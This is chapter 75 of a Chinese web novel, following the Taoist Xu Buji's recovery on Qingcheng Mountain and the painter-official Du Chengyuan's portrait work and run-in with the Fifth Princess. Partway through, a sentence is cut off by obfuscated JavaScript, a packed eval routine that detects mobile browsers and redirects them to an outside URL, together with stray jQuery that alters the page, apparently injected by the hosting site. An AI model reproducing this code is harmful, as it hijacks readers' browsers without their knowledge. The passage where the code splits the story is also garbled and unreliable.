75. 线索

晨曦初破,微光透过堆满积雪的树梢,斑驳地洒在徐不疾的脸上。


他从朦胧中醒来,入目是熟悉的素色纱帐,而非长信侯府千篇一律的墨色帐顶,耳边是清脆的鸟鸣和远处师兄弟晨练的声音。


这里是青城山!


徐不疾猛然坐起身,感到一阵头晕目眩,恍惚中他似乎看到了一场大火,梦境的碎片如雪花一般涌来。


此刻,徐不疾的眼前浮现一片火海,一个女子被困在火光之中,熊熊火焰攀上她的发梢、裙角,而后舔上她的皮肤。周围一片嘈杂,却无人来救火。


徐不疾就那样眼睁睁地看着女子被大火吞噬。


直到最后一刻,徐不疾才看到,那女子竟是杨明珠!


徐不疾大口大口地喘着气,心口不知为何泛起一阵细密的痛,让他分不清那究竟是梦境还是现实。


他想起昏迷前,萧渐鸿来找他,说是想了解杨明珠昔日在国公府的生活。


他本就是青城山的道士,跟着杨明珠去长信侯府,只是因为知道她命中有一劫,他想帮帮她。杨明珠为了便宜行事带他进门,才说他曾是国公府里伺候她的侍从。


他哪里知道杨明珠在国公府生活的如何,只能从那日在赏花宴上的所见所听,编一些无关痛痒的琐事出来。


“世子既然想了解郡主,倒不如直接去询问郡主本人。”徐不疾说罢,总觉得心中烦闷不已,他是修道之人,本就不懂人情世故,如今还要撒谎。


萧渐鸿却不依不饶,继续询问:“你说郡主在国公府过的不好,从何而知呢?”


“......”徐不疾一阵无语,从何而知?自然是从那些侍女仆从对待杨明珠的态度知道的,杨明珠是郡主,是主子,那些下人却无视她、敷衍她、陷害她,即使在自己的家中,依然有人要害她。


萧渐鸿对于他的沉默有些不满,继续对他威逼利诱:“其实,你不是国公府的人吧?我方才说明珠住在华阳台,你没有反驳,可她出嫁前,明明住在诉月阁。”


“说!”萧渐鸿突然撕下了假面,目露凶光,咬牙切齿道:“你是不是看上了明珠的地位,想要把她从我身边抢走!”


徐不疾刚想摊牌,意识却渐渐模糊,在昏迷前的最后一刻,他看到了一张狰狞的脸,冷笑中透着杀机。


徐不疾不合时宜地想起下山前师尊叮嘱过的话:人心比邪祟更可怕。


“师弟?你终于醒了。”随着一声爽朗的声音,房门被人推开。


来人是徐不疾的师兄风秋白,他一手还端着吃食,一手关上房门,缓步走来。


“师尊算到你有难,让我务必去救你。你说说你堂堂一个修道人,怎么会被人迷晕了还扔下悬崖啊。”


风秋白说着,把吃食放在徐不疾的床前,惊讶道:“你怎么出了这么多汗?外头可还在下雪呢。这雪连下了好多天,幸亏我下山的早,不然赶上这暴雪封山,估计就救不了你了。”


徐不疾舔了舔干裂的嘴角,站起身,她喃喃道:“我要去找师尊......我要去找师尊!”


不曾想,他刚走出两步,就被风秋白拉住了衣裳。


“回来吧你。”风秋白力气很大,一手把他拽回来,按着他坐下:“师尊知道你要找她,让你先吃口热乎的。”


徐不疾闻言,心中总算有了方向。他端起碗,几口吃完,而后再次起身。


这一次风秋白没有拦住他了。


悬崖之下,寒风凛冽。


徐不疾沿着山路,脚步匆匆,心中充满了疑惑和不安。他向着山顶的小院走去,每一步都显得沉重,山道旁的松树上落满了积雪,偶尔有树枝被雪压断的声音。


迎面而来的师兄弟们跟他打招呼,他却无心回应。他的脑海里思绪万千,试图拼凑出真相,而这一切的谜团,似乎只有师尊能够解开。


小院的门扉半掩,徐不疾轻轻推开,踏入了幽深的庭院。


一道如风般轻盈的身影在檀香缭绕中若隐若现。


徐不疾跪下,恭敬地行了一礼:“师尊。”


他努力维持声音的平静,但颤抖的尾音掩盖不了内心的慌乱。


千清真人目光平静幽深,宛如一汪深潭,透着一丝了然。


“世事如棋,一着不慎满盘皆输。”千清真人落下一枚黑子,目不斜视:“你的劫难,乃是命中注定。”


徐不疾凝视着眼前的师尊,那双眼眸历经沧桑,仿佛能看透一切。


山风吹过,徐不疾感到一阵寒意。想到那场大火,他还是开了口:“她......还活着吗?”


“你此次能够醒来,就说明了一切。”


徐不疾沉默着,良久,他站起身,心中虽仍有疑团未解,但已有了决断。


“多谢师尊指点,徒儿自当铭记于心。”


他转身,步履坚定地走出了小院,准备面对未知的命运和全新的挑战。


一个通体雪白的锦囊飞到他的手中,不等他回头千清真人传音于他:“不到万不得已之时,切不可打开此锦囊。”


拿到和离书之后,晴山便带人回了长信侯府,把杨明珠的嫁妆搬走。


承德帝赏赐的郡主府虽然久无人居,好在府中家具一应俱全,晴山便先带着杨明珠的嫁妆和先前一同陪嫁仆从先去了那里。


几经辗转,先前杨明珠让杜承元画的画像不慎丢失。裴松月只得让杜承元凭借记忆重画一幅。


杜承元紧握着画卷,步履匆忙地穿过宫廷的红墙绿瓦。


祠堂纵火案是长公主亲自交代下来的,事关昭华郡主安危,大理寺很是重视。裴松月有心锻炼他,他也想好好表现一番,争取开春能去临渊查案。


手里的画像是他凭借记忆重新勾勒而成,为求万无一失,他特意进宫请郡主过目,却不料杨明珠双眼已盲,只能靠晴山来确认。


晴山当初虽然也看过那女子的画像,但有段时日了,她也有些忐忑,生怕自己忘了哪些细节。


“杜大人,这朱砂小痣的位置,要更靠近眉心。”晴山想了想又道:“杨四小姐你见过吧?”


“这朱砂小痣的位置跟她的一样。”


晴山的语气很肯定,杜承元有一瞬间的


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196049|151226||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


迷茫,他心中浮起一个想法,也许这粒朱砂小痣就是关键线索。


他看向杨明珠,见她只是爱怜地轻抚受伤的狸奴,并未出声指正,不由得长舒一口气。


携带着最终的画像,杜承元踏上了归途。


他的脚步依旧是匆忙的,官靴坚硬的鞋底在青石板上回响。就在他即将离开这个金碧辉煌却又充满了规矩和束缚的地方时,五公主的身影突然出现在宫道尽头。


“哟,这不是忠信侯家的小世子吗?”


李玄颂一身朱樱色宫装,衬得她有几分盛气凌人,她的眼神中闪烁着不屑与戏谑,声音尖细,嘴角带着一丝嘲讽:“怎么?又来宫里给哪位贵人作画了?”


“微臣杜承元参见五公主。”杜承元恭敬地跪下行礼。


他曾因为给李玄颂画像,与她生了些嫌隙,从那时起,李玄颂便记恨于心,每次见到他都免不了讥讽几句。


“唉,真是可惜。”李玄颂并未让杜承元起身,“即便你画技再怎么高超,也继承不了任何爵位。哈哈。”


杜承元脸色微变,但很快恢复了平静。他没有回应,只是微微低头,等待李玄颂从她身旁走过。


李玄颂偏不如他的意,她微微低下头,凑到杜承元的耳边道:“谁让你是......”


“公主!”杜承元忽然抬高了声音,大喝一声。


“大胆!竟然敢对公主无礼!”李玄颂身边的侍女说着便要去治杜承元的罪。


李玄颂抬眼,目光扫过,那侍女立刻缩着脖子后退。


“公主慎言。”杜承元低着头,声音淡淡的,又恢复了温和有礼的模样,仿佛方才失态的人另有其人。


李玄颂冷哼一声,而后越过他向前走去。


福阳宫。


五公主的寝宫内,杨芷柔捧着一盒奇珍,那是她从金光楼搜来的,据说是从一个距离大周很远的小国买来的暖玉,有美容养颜之效。


杨芷柔的脸上堆满了献媚的笑意,她目光闪烁,似乎已经预料到这次讨好将大获成功。毕竟,没有女子不在意自己的容貌。


然而,李玄颂的心思却不在这些俗物之上,她的眼神透过精致的窗棂,凝望着外头的积雪,仿佛在追寻着某个人的身影。


杜承元的名字在她心中如同一缕轻风,难以捉摸,却挥之不去。


今日的相遇,他还是如此冷淡,仿佛她不过是一个无理取闹的路人。


当杨芷柔的声音在耳边响起,李玄颂不耐地摆了摆手,任由那些从宫外带来的新鲜玩意儿静静躺在桌上,无心欣赏。


见李玄颂对暖玉兴致缺缺,杨芷柔又拿出了从市井街巷买来的小玩意儿。


“公主,这是外头最时兴的小玩意儿,您瞧这颜色,这质地——”


杨芷柔的声音戛然而止,因为李玄颂已经站起身,走向窗边。


杨芷柔带给她的这些小玩意儿,杜承元原先也给她带过,草编的蝴蝶和蚱蜢、西街的青梅酒、会跳舞的鸭子.......


眼前的这堆小玩意儿,只会让她控制不住地想到昔日的杜承元。